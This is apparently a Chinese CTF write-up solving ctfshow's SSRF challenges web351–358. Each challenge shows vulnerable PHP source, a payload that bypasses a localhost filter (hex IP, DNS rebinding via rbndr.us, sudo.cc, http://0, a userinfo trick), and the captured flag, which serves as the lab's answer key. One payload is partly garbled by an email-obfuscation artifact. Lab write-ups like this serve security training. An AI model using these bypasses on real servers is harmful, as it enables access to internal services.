文章目录
前言
ctfshow的web入门的ssrf靶场
web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
题目解释:
这段PHP代码是一个简单的Web服务端脚本,它的功能是接收一个通过POST方法发送的URL参数,然后使用cURL库来获取该URL的内容,并将其返回给客户端。下面是对这段代码的逐行解释:
$url=$_POST['url'];
- 这行代码从POST请求中获取名为’url’的参数,并将其存储在变量$url
中。$ch=curl_init($url);
- 初始化cURL会话,并使用提供的URL作为参数。curl_setopt($ch, CURLOPT_HEADER, 0);
- 设置cURL选项,指示cURL不返回HTTP头。curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- 设置cURL选项,使得cURL调用返回请求的内容作为字符串,而不是直接输出。$result=curl_exec($ch);
- 执行cURL会话,并把结果存储在变量$result
中。curl_close($ch);
- 关闭cURL会话,释放资源。echo ($result);
- 输出cURL请求的结果。
payload:
url=http://127.0.0.1/flag.php
flag:
ctfshow{4f57e385-fa1f-47f4-aa13-3906f0cd4200}
web352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
题目解释:
这个多了正则匹配
需要对127.0.0.1进行编码
payload:
url=http://0x7F.0.0.1/flag.php
flag
ctfshow{6a4a513d-e836-4b2a-bbef-57cd0c05da25}
web353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
题目解释:
更加严格的过滤
使用DNS重绑定进行绕过
rbndr.us dns rebinding service (cmpxchg8b.com)
payload:
url=http://2b81c857.7f000001.rbndr.us/flag.php
flag:
ctfshow{daa65ef7-2081-4311-9b2d-2cc98df658a0}
web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
还是过滤
貌似还是可以用重新绑定绕过
换个方法
在linux中sudo.cc相当于127.0.0.1
payload:
url=http://sudo.cc/flag.php
flag:
ctfshow{dba6c147-8c51-449e-9a74-b4a57c27554e}
web355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
题目解释:
要求host长度要小于5
在Linux中,0代表127.0.0.1
也可以使用短网址生成器
payload:
url=http://0/flag.php
flag:
ctfshow{8a4709cc-7fcd-443f-afd7-e8c4307a5f32}
web356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
题目解释:
host长度不超过3
还是用上一题的payload
payload
url=http://0/flag.php
flag:
ctfshow{9f6bc434-6fae-4b46-9803-33524fb872e8}
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
题目解释:
使用gethostbyname
获取主机名对应的IP地址,并使用filter_var
函数验证这个IP是否是一个有效的公网IP地址。如果IP地址无效或属于私有或保留的IP范围,脚本将终止执行。
还是用DNS重绑定绕过
rbndr.us dns rebinding service (cmpxchg8b.com)
payload:
url=http://7f000001.2b81c857.rbndr.us/flag.php
flag:
ctfshow{a0a408fd-2851-4343-a9bc-8e9cf3ea3893}
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
题目解释:
相对严格的正则匹配
必须以 http://ctf.
开头,以 show
结尾
将ctf视为username,在将show视为锚点
payload:
url=http://ctf.:[email protected]/flag.php#show
flag:
ctfshow{74ed9275-f3e9-48c2-abe1-6a1056d5a809}
闪烁的灯光是我在异世界大声地呼唤你。
标签:http,url,flag,ctfshow,CTFWP,cURL,payload,358 From: https://blog.csdn.net/LongL_GuYu/article/details/140925369